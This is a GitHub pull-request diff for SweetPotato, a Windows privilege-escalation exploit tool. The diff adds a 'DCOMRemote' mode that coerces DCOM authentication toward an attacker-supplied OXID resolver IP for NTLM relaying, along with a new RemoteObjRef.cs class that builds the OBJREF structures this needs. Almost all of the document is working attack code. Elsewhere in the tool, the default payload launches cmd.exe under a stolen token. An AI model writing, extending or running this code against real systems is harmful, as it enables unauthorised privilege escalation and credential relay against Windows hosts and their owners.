Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 17 additions & 2 deletions PotatoAPI.cs
Original file line number Diff line number Diff line change
Expand Up @@ -24,10 +24,12 @@ internal class PotatoAPI {
Guid clsId;
readonly int port;
Mode mode;
string oxidResolverIp;
volatile bool dcomComplete = false;

public enum Mode {
DCOM,
DCOMRemote,
WinRM,
EfsRpc,
PrintSpoofer
Expand All @@ -47,12 +49,12 @@ public IntPtr Token {

EventWaitHandle readyEvent = new EventWaitHandle(false, EventResetMode.AutoReset);

public PotatoAPI(Guid clsId, ushort port, Mode mode) {
public PotatoAPI(Guid clsId, ushort port, Mode mode, string oxidResolverIp = "") {

this.clsId = clsId;
this.port = port;
this.mode = mode;

this.oxidResolverIp = oxidResolverIp;
switch (mode) {
case Mode.DCOM:
StartCOMListenerThread();
Expand Down Expand Up @@ -236,6 +238,19 @@ public bool Trigger() {
result = negotiator.Authenticated;
break;

case Mode.DCOMRemote:

Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out lockBytes);
Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out storage);
RemoteStorageTrigger remoteStorageTrigger = new RemoteStorageTrigger(storage, string.Format("{0}", oxidResolverIp), TowerProtocol.EPM_PROTOCOL_TCP);

qis = new Ole32.MULTI_QI[1];
qis[0].pIID = Ole32.IID_IUnknownPtr;

Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, remoteStorageTrigger, 1, qis);
result = negotiator.Authenticated;
break;

case Mode.WinRM:

Type comType = Type.GetTypeFromCLSID(clsId);
Expand Down
25 changes: 18 additions & 7 deletions Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,13 @@ static void Main(string[] args) {
PotatoAPI.Mode mode = PotatoAPI.Mode.PrintSpoofer;
bool showHelp = false;
bool isBITSRequired = false;
string oxidResolverIp = "";

Console.WriteLine(
"SweetPotato by @_EthicalChaos_\n" +
" Orignal RottenPotato code and exploit by @foxglovesec\n" +
" Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery\n" +
" Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery\n" +
" Remote Potato by @decoder_it and @splinter_code\n" +
" PrintSpoofer discovery and original exploit by @itm4n\n" +
" EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam"
);
Expand All @@ -37,10 +39,10 @@ static void Main(string[] args) {
.Add<ExecutionMethod>("m=|method=", "Auto,User,Thread (default Auto)", v => executionMethod = v)
.Add("p=|prog=", "Program to launch (default cmd.exe)", v => program = v)
.Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
.Add<PotatoAPI.Mode>("e=|exploit=", "Exploit mode [DCOM|WinRM|EfsRpc|PrintSpoofer(default)] ", v => mode = v)
.Add<PotatoAPI.Mode>("e=|exploit=", "Exploit mode [DCOM|DCOMRemote|WinRM|EfsRpc|PrintSpoofer(default)] ", v => mode = v)
.Add<ushort>("l=|listenPort=", "COM server listen port (default 6666)", v => port = v)
.Add("h|help", "Display this help", v => showHelp = v != null);

.Add("h|help", "Display this help", v => showHelp = v != null)
.Add("oip=|oxidResolverIp=", "oxid resolver ip address", v => oxidResolverIp = v);
try {

option_set.Parse(args);
Expand All @@ -62,7 +64,7 @@ static void Main(string[] args) {
bool hasPrimary = EnablePrivilege(SecurityEntity.SE_ASSIGNPRIMARYTOKEN_NAME);
bool hasIncreaseQuota = EnablePrivilege(SecurityEntity.SE_INCREASE_QUOTA_NAME);

if(!hasImpersonate && !hasPrimary) {
if(!hasImpersonate && !hasPrimary && mode != PotatoAPI.Mode.DCOMRemote) {
Console.WriteLine("[!] Cannot perform interception, necessary privileges missing. Are you running under a Service account?");
return;
}
Expand All @@ -79,12 +81,21 @@ static void Main(string[] args) {
Console.WriteLine($"[+] Attempting NP impersonation using method PrintSpoofer to launch {program}");
} else if (mode == PotatoAPI.Mode.EfsRpc) {
Console.WriteLine($"[+] Attempting NP impersonation using method EfsRpc to launch {program}");
} else {
} else if (mode == PotatoAPI.Mode.DCOMRemote)
{
Console.WriteLine("[+] Attempting DCOM NTLM relaying with CLSID {0} on ip {1}", clsId, oxidResolverIp);
}
else {
Console.WriteLine("[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}",
isBITSRequired ? "NTLM Auth" : "DCOM NTLM interception", clsId, isBITSRequired ? 5985 : port, executionMethod, program);
}
PotatoAPI potatoAPI = null;
if (oxidResolverIp.Length > 0 && mode == PotatoAPI.Mode.DCOMRemote){
potatoAPI = new PotatoAPI(new Guid(clsId), port, mode, oxidResolverIp);
}
else
potatoAPI = new PotatoAPI(new Guid(clsId), port, mode);

PotatoAPI potatoAPI = new PotatoAPI(new Guid(clsId), port, mode);

if (!potatoAPI.Trigger()) {
Console.WriteLine("[!] No authenticated interception took place, exploit failed");
Expand Down
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ SweetPotato by @_EthicalChaos_
-m, --method=VALUE Auto,User,Thread (default Auto)
-p, --prog=VALUE Program to launch (default cmd.exe)
-a, --args=VALUE Arguments for program (default null)
-e, --exploit=VALUE Exploit mode [DCOM|WinRM|PrintSpoofer(default)]
-e, --exploit=VALUE Exploit mode [DCOM|DCOMRemote|WinRM|PrintSpoofer(default)]
-l, --listenPort=VALUE COM server listen port (default 6666)
-h, --help Display this help
```
```
218 changes: 218 additions & 0 deletions RemoteObjRef.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,218 @@
using System;
using System.IO;
using System.Text;

namespace SweetPotato
{

internal class RemoteObjRef
{

[Flags]
enum Type : uint
{
Standard = 0x1,
Handler = 0x2,
Custom = 0x4
}

const uint Signature = 0x574f454d;
public readonly Guid Guid;
public readonly Standard StandardObjRef;

public RemoteObjRef(Guid guid, Standard standardObjRef)
{
Guid = guid;
StandardObjRef = standardObjRef;
}

public RemoteObjRef(byte[] objRefBytes)
{

BinaryReader br = new BinaryReader(new MemoryStream(objRefBytes), Encoding.Unicode);

if (br.ReadUInt32() != Signature)
{
throw new InvalidDataException("Does not look like an OBJREF stream");
}

uint flags = br.ReadUInt32();
Guid = new Guid(br.ReadBytes(16));

if ((Type)flags == Type.Standard)
{
StandardObjRef = new Standard(br);
}
}

public byte[] GetBytes()
{
BinaryWriter bw = new BinaryWriter(new MemoryStream());

bw.Write(Signature);
bw.Write((uint)1);
bw.Write(Guid.ToByteArray());

StandardObjRef.Save(bw);

return ((MemoryStream)bw.BaseStream).ToArray();
}

internal class SecurityBinding
{

public readonly ushort AuthnSvc;
public readonly ushort AuthzSvc;
public readonly string PrincipalName;

public SecurityBinding(ushort authnSvc, ushort authzSnc, string principalName)
{
AuthnSvc = authnSvc;
AuthzSvc = authzSnc;
PrincipalName = principalName;
}

public SecurityBinding(BinaryReader br)
{

AuthnSvc = br.ReadUInt16();
AuthzSvc = br.ReadUInt16();
char character;
string principalName = "";

while ((character = br.ReadChar()) != 0)
{
principalName += character;
}

br.ReadChar();
}


public byte[] GetBytes()
{
BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode);

bw.Write(AuthnSvc);
bw.Write(AuthzSvc);

if (PrincipalName != null && PrincipalName.Length > 0)
bw.Write(Encoding.Unicode.GetBytes(PrincipalName));

bw.Write((char)0);
bw.Write((char)0);

return ((MemoryStream)bw.BaseStream).ToArray();
}
}

internal class StringBinding
{
public readonly TowerProtocol TowerID;
public readonly string NetworkAddress;

public StringBinding(TowerProtocol towerID, string networkAddress)
{
TowerID = towerID;
NetworkAddress = networkAddress;
}

public StringBinding(BinaryReader br)
{
TowerID = (TowerProtocol)br.ReadUInt16();
char character;
string networkAddress = "";

while ((character = br.ReadChar()) != 0)
{
networkAddress += character;
}

br.ReadChar();
NetworkAddress = networkAddress;
}

internal byte[] GetBytes()
{
BinaryWriter bw = new BinaryWriter(new MemoryStream(), Encoding.Unicode);

bw.Write((ushort)TowerID);
bw.Write(Encoding.Unicode.GetBytes(NetworkAddress));
bw.Write((char)0);
bw.Write((char)0);
return ((MemoryStream)bw.BaseStream).ToArray();
}
}

internal class DualStringArray
{
private readonly ushort NumEntries;
private readonly ushort SecurityOffset;
public readonly StringBinding StringBinding;
public readonly SecurityBinding SecurityBinding;

public DualStringArray(StringBinding stringBinding, SecurityBinding securityBinding)
{
NumEntries = (ushort)((stringBinding.GetBytes().Length + securityBinding.GetBytes().Length) / 2);
SecurityOffset = (ushort)(stringBinding.GetBytes().Length / 2);

StringBinding = stringBinding;
SecurityBinding = securityBinding;
}

public DualStringArray(BinaryReader br)
{
NumEntries = br.ReadUInt16();
SecurityOffset = br.ReadUInt16();

StringBinding = new StringBinding(br);
SecurityBinding = new SecurityBinding(br);
}

internal void Save(BinaryWriter bw)
{

byte[] stringBinding = StringBinding.GetBytes();
byte[] securityBinding = SecurityBinding.GetBytes();

bw.Write((ushort)((stringBinding.Length + securityBinding.Length) / 2));
bw.Write((ushort)(stringBinding.Length / 2));
bw.Write(stringBinding);
bw.Write(securityBinding);
}
}

internal class Standard
{

public readonly uint Flags;
public readonly uint PublicRefs;
public readonly Guid IPID;
public readonly DualStringArray DualStringArray;

public Standard(uint flags, uint publicRefs, DualStringArray dualStringArray)
{
Flags = flags;
PublicRefs = publicRefs;
DualStringArray = dualStringArray;
}

public Standard(BinaryReader br)
{
Flags = br.ReadUInt32();
PublicRefs = br.ReadUInt32();

DualStringArray = new DualStringArray(br);
}

internal void Save(BinaryWriter bw)
{
bw.Write(Flags);
bw.Write(PublicRefs);
bw.Write(Guid.NewGuid().ToByteArray());
bw.Write(Guid.NewGuid().ToByteArray());
DualStringArray.Save(bw);
}
}
}
}
Loading